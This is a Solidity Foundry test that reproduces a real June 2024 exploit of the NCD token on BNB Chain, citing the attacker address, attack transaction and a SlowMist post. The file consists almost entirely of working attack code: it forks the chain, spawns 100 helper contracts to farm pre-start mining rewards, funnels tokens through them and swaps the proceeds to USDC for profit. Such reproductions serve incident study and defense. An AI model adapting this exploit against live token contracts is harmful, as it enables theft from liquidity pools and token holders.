src/test/2024-06/NCD_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : $6.4K
7// Attacker : https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984
8// Attack Contract : https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68
9// Attack Tx : https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7
10 
11// GUY : https://x.com/SlowMist_Team/status/1797821034319765604
12 
13interface INcd is IERC20 {
14    function mineStartTime(
15        address
16    ) external view returns (uint256);
17}
18 
19contract LetTheContractHaveRewards {
20    IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
21    INcd ncd_ = INcd(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
22 
23    function preStartTimeRewards() public /*onlyOwner*/ {
24        ncd_usdc_pair_.skim(address(this));
25        ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
26        ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
27        require(ncd_.mineStartTime(address(this)) > 0);
28    }
29 
30    function ack() public /*onlyOwner*/ {
31        //first, to get a reward
32        ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
33        //seconds, to reward get msg.sender
34        ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
35    }
36}
37 
38contract LetTheContractHaveUsdc is Test {
39    IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
40    IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
41    IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
42    IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
43 
44    function withdraw() public {
45        usdc_.approve(address(router), type(uint256).max);
46        ncd_.approve(address(router), type(uint256).max);
47        address[] memory path = new address[](2);
48        path[0] = address(ncd_);
49        path[1] = address(usdc_);
50        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
51            ncd_.balanceOf(address(this)) * 5 / 100, 0, path, address(this), type(uint256).max
52        );
53 
54        ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
55        usdc_.transfer(msg.sender, usdc_.balanceOf(address(this)));
56    }
57}
58 
59contract EuroExploit is Test {
60    IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
61    IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
62    IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
63    IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
64 
65    LetTheContractHaveRewards[] letTheContractHaveRewardss;
66 
67    function setUp() public {
68        vm.createSelectFork("bsc", 39_253_639);
69        usdc_.approve(address(router), type(uint256).max);
70        ncd_.approve(address(router), type(uint256).max);
71    }
72 
73    function testExploit() public {
74        deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!
75        emit log_named_decimal_uint("ack before usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
76        address[] memory path = new address[](2);
77        path[0] = address(usdc_);
78        path[1] = address(ncd_);
79        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
80            10 ether, 0, path, address(this), type(uint256).max
81        );
82        ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
83 
84        for (uint256 i = 0; i < 100; i++) {
85            LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();
86            letTheContractHaveRewards.preStartTimeRewards();
87            letTheContractHaveRewardss.push(letTheContractHaveRewards);
88        }
89 
90        vm.warp(block.timestamp + 1 days);
91 
92        deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc
93        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
94            10_000 ether, 0, path, address(this), type(uint256).max
95        );
96        for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {
97            LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];
98            ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));
99            letTheContractHaveRewards.ack();
100        }
101        while (ncd_.balanceOf(address(this)) > 1000 ether) {
102            // for(uint256 i = 0; i < 100; i++){
103            LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();
104            ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));
105            letTheContractHaveUsdc.withdraw();
106        }
107 
108        usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan
109        emit log_named_decimal_uint("profit usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
110    }
111}